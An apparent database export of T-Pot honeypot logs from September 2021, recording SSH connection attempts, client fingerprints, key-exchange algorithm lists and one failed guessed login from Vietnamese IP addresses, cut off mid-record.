23080	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:18.474349+03	2021-09-20 14:15:07.04547+03	{"_id": "eAbjAnwBvYTbRNuEiwn-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "1f6da6736d76", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:18.474349Z", "@timestamp": "2021-09-20T11:07:18.474Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23081	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:18.694068+03	2021-09-20 14:15:07.047471+03	{"_id": "eQbjAnwBvYTbRNuEiwn-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "1f6da6736d76", "@version": "1", "timestamp": "2021-09-20T11:07:18.694068Z", "@timestamp": "2021-09-20T11:07:18.694Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23082	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:18.853389+03	2021-09-20 14:15:07.04847+03	{"_id": "egbjAnwBvYTbRNuEiwn-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3017dad45879", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:18.853389Z", "@timestamp": "2021-09-20T11:07:18.853Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23083	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:19.19071+03	2021-09-20 14:15:07.049471+03	{"_id": "ewbjAnwBvYTbRNuEiwn-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [test/12345] failed", "session": "e73a41285afe", "@version": "1", "password": "12345", "username": "test", "timestamp": "2021-09-20T11:07:19.190710Z", "@timestamp": "2021-09-20T11:07:19.190Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23084	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:07:19.891274+03	2021-09-20 14:15:07.050471+03	{"_id": "fQbjAnwBvYTbRNuEjglo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 2196886163750946, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52640, "dest_port": 22, "timestamp": "2021-09-20T11:07:19.891274Z", "@timestamp": "2021-09-20T11:07:19.891Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23085	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:20.107268+03	2021-09-20 14:15:07.05247+03	{"_id": "gAbjAnwBvYTbRNuEjwne", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:46736 (192.168.176.2:22) [session: bdbaa5b030cc]", "session": "bdbaa5b030cc", "@version": "1", "protocol": "ssh", "src_port": 46736, "dest_port": 22, "timestamp": "2021-09-20T11:07:20.107268Z", "@timestamp": "2021-09-20T11:07:20.107Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23086	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:19.680512+03	2021-09-20 14:15:07.05347+03	{"_id": "jQbjAnwBvYTbRNuEjwnf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:60628 (192.168.176.2:22) [session: 96e31054e8cb]", "session": "96e31054e8cb", "@version": "1", "protocol": "ssh", "src_port": 60628, "dest_port": 22, "timestamp": "2021-09-20T11:07:19.680512Z", "@timestamp": "2021-09-20T11:07:19.680Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23087	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:19.608556+03	2021-09-20 14:15:07.054471+03	{"_id": "sgbjAnwBvYTbRNuEjwnl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:52640 (192.168.176.2:22) [session: ca082dd3e488]", "session": "ca082dd3e488", "@version": "1", "protocol": "ssh", "src_port": 52640, "dest_port": 22, "timestamp": "2021-09-20T11:07:19.608556Z", "@timestamp": "2021-09-20T11:07:19.608Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23088	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:19.613755+03	2021-09-20 14:15:07.05547+03	{"_id": "qgbjAnwBvYTbRNuEjwng", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52640, "timestamp": "2021-09-20T11:07:19.613755", "@timestamp": "2021-09-20T11:07:19.613Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23089	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:19.130343+03	2021-09-20 14:15:07.056471+03	{"_id": "vQbjAnwBvYTbRNuEjwnl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 46342, "dest_port": 22, "timestamp": "2021-09-20T11:07:19.130343", "@timestamp": "2021-09-20T11:07:19.130Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
23090	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:19.685374+03	2021-09-20 14:15:07.05847+03	{"_id": "vgbjAnwBvYTbRNuEjwnl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60628, "timestamp": "2021-09-20T11:07:19.685374", "@timestamp": "2021-09-20T11:07:19.685Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23091	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:19.851771+03	2021-09-20 14:15:07.05947+03	{"_id": "rgbjAnwBvYTbRNuEjwng", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "779eb8f4bb9e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:19.851771Z", "@timestamp": "2021-09-20T11:07:19.851Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23097	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:07.688097+03	2021-09-20 14:15:07.06647+03	{"_id": "HwbjAnwBvYTbRNuEYAfp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:55794 (192.168.176.2:22) [session: d393e7206353]", "session": "d393e7206353", "@version": "1", "protocol": "ssh", "src_port": 55794, "dest_port": 22, "timestamp": "2021-09-20T11:07:07.688097Z", "@timestamp": "2021-09-20T11:07:07.688Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23092	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:19.972971+03	2021-09-20 14:15:07.060471+03	{"_id": "rwbjAnwBvYTbRNuEjwng", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "96e31054e8cb", "@version": "1", "timestamp": "2021-09-20T11:07:19.972971Z", "@timestamp": "2021-09-20T11:07:19.972Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 